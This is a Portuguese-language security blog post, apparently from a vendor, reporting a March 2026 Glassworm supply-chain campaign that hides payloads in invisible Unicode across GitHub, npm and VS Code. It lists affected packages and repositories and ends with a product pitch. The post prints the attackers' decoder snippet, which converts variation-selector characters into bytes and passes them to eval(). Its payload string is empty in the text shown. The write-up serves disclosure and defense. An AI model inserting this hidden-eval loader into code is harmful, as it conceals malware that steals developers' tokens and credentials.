A ameaça invisível que estamos rastreando há quase um ano está de volta. Enquanto a campanha PolinRider tem sido notícia por comprometer centenas de repositórios GitHub, estamos vendo separadamente uma nova onda de atividade do Glassworm atingindo GitHub, npm e VS Code.
Em outubro do ano passado, escrevemos sobre como caracteres Unicode ocultos estavam sendo usados para comprometer repositórios GitHub, rastreando a técnica até um ator de ameaça chamado Glassworm. Este mês, o mesmo ator está de volta, e entre os repositórios afetados estão alguns nomes notáveis: um repositório da Wasmer, Reworm, e opencode-bench da anomalyco, a organização por trás do OpenCode e SST.
Um Ano da Campanha de Código Invisível
- Março de 2025: Aikido descobre pela primeira vez pacotes npm maliciosos ocultando payloads usando caracteres Unicode PUA.
- Maio de 2025: Publicamos um blog detalhando os riscos do Unicode invisível e como ele pode ser abusado em ataques à supply chain.
- 17 de outubro de 2025: Descobrimos extensões comprometidas no Open VSX usando a mesma técnica.
- 31 de outubro de 2025: Descobrimos que os atacantes mudaram o foco para repositórios GitHub.
- Março de 2026: Uma nova onda em massa surge: centenas de repositórios GitHub comprometidos, com npm e VS Code também afetados.
Uma Breve Revisão
Antes de mergulhar na escala desta nova onda, vamos recapitular como este ataque funciona. Mesmo após meses de cobertura, ele continua a pegar desenvolvedores e ferramentas desprevenidos.
O truque se baseia em caracteres Unicode invisíveis: trechos de código que são renderizados como nada em praticamente todo editor, terminal e interface de revisão de código. Atacantes usam esses caracteres invisíveis para codificar um payload diretamente dentro do que parece ser uma string vazia. Quando o runtime JavaScript o encontra, um pequeno decodificador extrai os bytes reais e os passa para eval().
Veja como a injeção se parece. Lembre-se, a lacuna aparente nos backticks vazios abaixo está longe de ser vazia:
const s = v => [...v].map(w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);
eval(Buffer.from(s(``)).toString('utf-8'));A string de backtick passada para s() parece vazio em qualquer visualizador, mas está repleto de caracteres invisíveis que, uma vez decodificados, produzem um payload malicioso completo. Em incidentes passados, esse payload decodificado buscou e executou um script de segunda fase usando Solana como canal de entrega, capaz de roubar tokens, credenciais e Secrets.
A Escala da Onda de Março de 2026
Estamos observando uma campanha em massa do ator de ameaças Glassworm que se espalha por repositórios de código aberto. Uma pesquisa de código no GitHub pelo padrão do decodificador atualmente retorna pelo menos 151 repositórios correspondentes, e esse número subestima o verdadeiro escopo, já que muitos repositórios afetados já foram excluídos no momento da escrita. Os comprometimentos no GitHub parecem ter ocorrido entre 3 e 9 de março.

A campanha também se expandiu para além do GitHub. Estamos agora vendo a mesma técnica sendo implantada no npm e no marketplace do VS Code, sugerindo que Glassworm está operando um esforço coordenado e multi-ecossistema. Isso é consistente com o padrão histórico do grupo de alternar entre registros.
@aifabrix/miso-client(npm)- Versão: 4.7.2
- Data: 12 de março de 2026
@iflow-mcp/watercrawl-watercrawl-mcp(npm)- Versões: 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.3.4
- Data: 12 de março de 2026
quartz.quartz-markdown-editor(VS Code)- Versão: 0.3.0
- Data: 12 de março de 2026
Repositórios Comprometidos Notáveis no GitHub
Entre os repositórios que identificamos, vários pertencem a projetos conhecidos com contagens significativas de estrelas, tornando-os alvos de alto valor para impacto na cadeia de suprimentos downstream:
- pedronauck/reworm (1.460 estrelas)
- pedronauck/spacefold (62 estrelas)
- anomalyco/opencode-bench (56 estrelas)
- doczjs/docz-plugin-css (39 estrelas)
- uknfire/theGreatFilter (38 estrelas)
- sillyva/rpg-schedule (37 estrelas)
- wasmer-examples/hono-wasmer-starter (8 estrelas)
Commits que se encaixam perfeitamente
Como observamos em nosso artigo de outubro, as injeções maliciosas não chegam em commits obviamente suspeitos. As alterações circundantes são realistas: ajustes de documentação, atualizações de versão, pequenos refatores e correções de bugs que são estilisticamente consistentes com cada projeto alvo. Esse nível de adaptação específica do projeto pode ser explicado pelos atacantes utilizando IA ou adaptando e forçando o push de commits anteriores para se misturar. Na escala que estamos vendo agora, a criação manual de mais de 151 alterações de código personalizadas em diferentes bases de código simplesmente não é viável.
Detecção e Proteção
Ameaças invisíveis exigem defesas ativas. Você não pode confiar em revisão visual de código ou linting padrão para detectar o que você não pode ver. Na Aikido, construímos detecção para injeção invisível de Unicode diretamente em nosso pipeline de varredura de malware.
Se você já usa Aikido, esses pacotes seriam sinalizados em seu feed como uma descoberta crítica 100/100.

Ainda não usa Aikido? Crie uma conta gratuita e conecte seus repositórios. O plano gratuito inclui nossa cobertura de detecção de malware (não é necessário cartão de crédito).
Finalmente, uma ferramenta capaz de interromper malwares de supply-chain em tempo real, assim que surgem, pode prevenir uma infecção grave. Esta é a ideia por trás do Aikido Safe Chain, uma ferramenta gratuita e de código aberto que se integra a npm, npx, yarn, pnpm e pnpx, e utiliza tanto IA quanto pesquisadores humanos de malware para detectar e bloquear os mais recentes riscos de supply chain antes que entrem no seu ambiente.
{{cta}}

